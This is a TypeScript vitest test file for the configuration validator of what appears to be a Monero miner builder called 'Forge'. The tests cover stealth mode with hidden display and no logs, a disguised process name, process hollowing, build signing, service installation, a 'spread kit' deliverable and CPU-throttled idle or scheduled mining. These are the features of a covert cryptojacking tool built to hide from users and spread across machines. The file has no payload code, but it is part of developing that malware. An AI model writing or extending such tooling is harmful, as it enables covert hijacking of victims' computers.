import { describe, expect, it } from 'vitest';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';

/** Valid mainnet-style Monero address (95 chars, starts with 4). */
const VALID_WALLET = '4' + 'A'.repeat(94);

function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
  return {
    worker_name: 'pc-lab-1',
    server_url: 'http://192.168.1.10:8989',
    wallet: VALID_WALLET,
    pool_host: 'pool.supportxmr.com',
    pool_port: 3333,
    pool_tls: true,
    pool_pass: 'x',
    ...FORGE_BUILD_DEFAULTS,
    ...overrides,
  } as BuildRequest;
}

function hasCheck(form: BuildRequest, fusionPrep: boolean, id: string, level?: string) {
  const checks = runForgeCompatibilityChecks(form, fusionPrep);
  const match = checks.find((c) => c.id === id);
  if (!match) return false;
  return level === undefined || match.level === level;
}

describe('runForgeCompatibilityChecks', () => {
  it('returns no errors for a fully valid form', () => {
    const checks = runForgeCompatibilityChecks(baseForm(), false);
    const errors = checks.filter((c) => c.level === 'error');
    expect(errors).toHaveLength(0);
    expect(checks.some((c) => c.id === 'forge_ready' && c.level === 'ok')).toBe(true);
  });

  describe('stealth and display', () => {
    it('errors when stealth mode uses visible display', () => {
      expect(
        hasCheck(baseForm({ stealth_mode: true, display_mode: 'visible' }), false, 'stealth_display', 'error')
      ).toBe(true);
    });

    it('errors when stealth mode enables file logging', () => {
      expect(hasCheck(baseForm({ stealth_mode: true, file_logging: true }), false, 'stealth_logs', 'error')).toBe(
        true
      );
    });

    it('errors when fusion uses visible display', () => {
      expect(
        hasCheck(baseForm({ fusion_enabled: true, display_mode: 'visible' }), false, 'fusion_display', 'error')
      ).toBe(true);
    });
  });

  describe('idle mining mode', () => {
    it('errors when idle threshold is out of range', () => {
      expect(
        hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 0 }), false, 'idle_threshold', 'error')
      ).toBe(true);
      expect(
        hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 101 }), false, 'idle_threshold', 'error')
      ).toBe(true);
    });

    it('errors when idle duration is below 1 minute', () => {
      expect(
        hasCheck(baseForm({ mining_mode: 'idle', idle_duration_minutes: 0 }), false, 'idle_duration', 'error')
      ).toBe(true);
    });

    it('does not check idle fields when mining mode is not idle', () => {
      expect(hasCheck(baseForm({ mining_mode: 'always', idle_threshold_pct: 0 }), false, 'idle_threshold')).toBe(
        false
      );
    });
  });

  describe('scheduled mining mode', () => {
    it('errors when schedule times are missing', () => {
      expect(
        hasCheck(
          baseForm({ mining_mode: 'scheduled', schedule_start: '', schedule_end: '' }),
          false,
          'schedule',
          'error'
        )
      ).toBe(true);
    });

    it('passes when both schedule times are set', () => {
      expect(
        hasCheck(
          baseForm({ mining_mode: 'scheduled', schedule_start: '22:00', schedule_end: '06:00' }),
          false,
          'schedule'
        )
      ).toBe(false);
    });
  });

  describe('threads and CPU limits', () => {
    it('warns when adapt_to_hardware is on with fixed thread mode', () => {
      expect(
        hasCheck(baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), false, 'adapt_fixed', 'warn')
      ).toBe(true);
    });

    it('errors when thread percent is out of range', () => {
      expect(
        hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 0 }), false, 'thread_percent_range', 'error')
      ).toBe(true);
      expect(
        hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 101 }), false, 'thread_percent_range', 'error')
      ).toBe(true);
    });

    it('errors when max CPU usage is out of range', () => {
      expect(hasCheck(baseForm({ max_cpu_usage_pct: 0 }), false, 'max_cpu', 'error')).toBe(true);
      expect(hasCheck(baseForm({ max_cpu_usage_pct: 101 }), false, 'max_cpu', 'error')).toBe(true);
    });

    it('errors when max memory is out of range', () => {
      expect(hasCheck(baseForm({ max_memory_percent: 9 }), false, 'max_mem', 'error')).toBe(true);
      expect(hasCheck(baseForm({ max_memory_percent: 96 }), false, 'max_mem', 'error')).toBe(true);
    });
  });

  describe('pool configuration', () => {
    it('errors when pool port is out of range', () => {
      expect(hasCheck(baseForm({ pool_port: 0 }), false, 'pool_port', 'error')).toBe(true);
      expect(hasCheck(baseForm({ pool_port: 70000 }), false, 'pool_port', 'error')).toBe(true);
    });

    it('warns on port 443 without TLS', () => {
      expect(hasCheck(baseForm({ pool_port: 443, pool_tls: false }), false, 'pool_tls_443', 'warn')).toBe(true);
    });

    it('warns on TLS with port 3333', () => {
      expect(hasCheck(baseForm({ pool_port: 3333, pool_tls: true }), false, 'pool_tls_3333', 'warn')).toBe(true);
    });

    it('warns when pool password is empty', () => {
      expect(hasCheck(baseForm({ pool_pass: '   ' }), false, 'pool_pass', 'warn')).toBe(true);
    });
  });

  describe('run mode and AI', () => {
    it('warns when run_as is service', () => {
      expect(hasCheck(baseForm({ run_as: 'service' }), false, 'run_as_service', 'warn')).toBe(true);
    });

    it('warns when AI uses 127.0.0.1 endpoint', () => {
      expect(
        hasCheck(
          baseForm({ ai_enabled: true, ai_ollama_endpoint: 'http://127.0.0.1:11434' }),
          false,
          'ai_localhost',
          'warn'
        )
      ).toBe(true);
    });

    it('warns when AI is enabled without self-healing', () => {
      expect(hasCheck(baseForm({ ai_enabled: true, self_healing: false }), false, 'ai_no_heal', 'warn')).toBe(true);
    });
  });

  describe('identity fields', () => {
    it('errors when process name is empty', () => {
      expect(hasCheck(baseForm({ process_name: '  ' }), false, 'process_name_empty', 'error')).toBe(true);
    });

    it('warns when process name has unusual characters', () => {
      expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
    });

    it('errors when worker name is empty', () => {
      expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
    });

    it('errors when server URL uses localhost', () => {
      expect(
        hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
      ).toBe(true);
    });

    it('errors when server URL uses 127.0.0.1', () => {
      expect(
        hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
      ).toBe(true);
    });

    it('warns when wallet does not match Monero format', () => {
      expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
    });

    it('accepts minimum-length wallet (90 chars)', () => {
      const wallet = '4' + 'A'.repeat(89);
      expect(wallet.length).toBe(90);
      expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
    });

    it('accepts subaddress starting with 8', () => {
      const subaddress = '8' + 'B'.repeat(94);
      expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
    });

    it('emits forge_ready when core config is coherent', () => {
      const checks = runForgeCompatibilityChecks(baseForm(), false);
      const ready = checks.find((c) => c.id === 'forge_ready');
      expect(ready?.level).toBe('ok');
      expect(ready?.message).toContain('Core miner config looks coherent');
    });
  });

  describe('fusion and deliverables', () => {
    it('emits fusion_ready when prep is attached', () => {
      expect(hasCheck(baseForm({ fusion_enabled: true }), true, 'fusion_ready', 'ok')).toBe(true);
    });

    it('errors when spread kit targets non-universal OS', () => {
      expect(
        hasCheck(baseForm({ spread_kit: true, target_os: 'windows' }), false, 'spread_kit_os', 'error')
      ).toBe(true);
    });

    it('errors when spread kit and fusion are both enabled', () => {
      expect(
        hasCheck(baseForm({ spread_kit: true, fusion_enabled: true }), false, 'spread_fusion', 'error')
      ).toBe(true);
    });

    it('warns when universal has no spread kit or fusion', () => {
      expect(
        hasCheck(
          baseForm({ target_os: 'universal', spread_kit: false, fusion_enabled: false }),
          false,
          'universal_deliverable',
          'warn'
        )
      ).toBe(true);
    });
  });

  describe('platform-specific constraints', () => {
    it('errors when process hollowing is set on Linux', () => {
      expect(
        hasCheck(baseForm({ target_os: 'linux', process_hollowing: true }), false, 'hollow_unix', 'error')
      ).toBe(true);
    });

    it('errors when process hollowing is set on macOS', () => {
      expect(
        hasCheck(baseForm({ target_os: 'darwin', process_hollowing: true }), false, 'hollow_unix', 'error')
      ).toBe(true);
    });

    it('errors when sign_build is set on Linux', () => {
      expect(hasCheck(baseForm({ target_os: 'linux', sign_build: true }), false, 'sign_unix', 'error')).toBe(
        true
      );
    });

    it('errors when sign_build is set on macOS', () => {
      expect(hasCheck(baseForm({ target_os: 'darwin', sign_build: true }), false, 'sign_unix', 'error')).toBe(
        true
      );
    });
  });
});
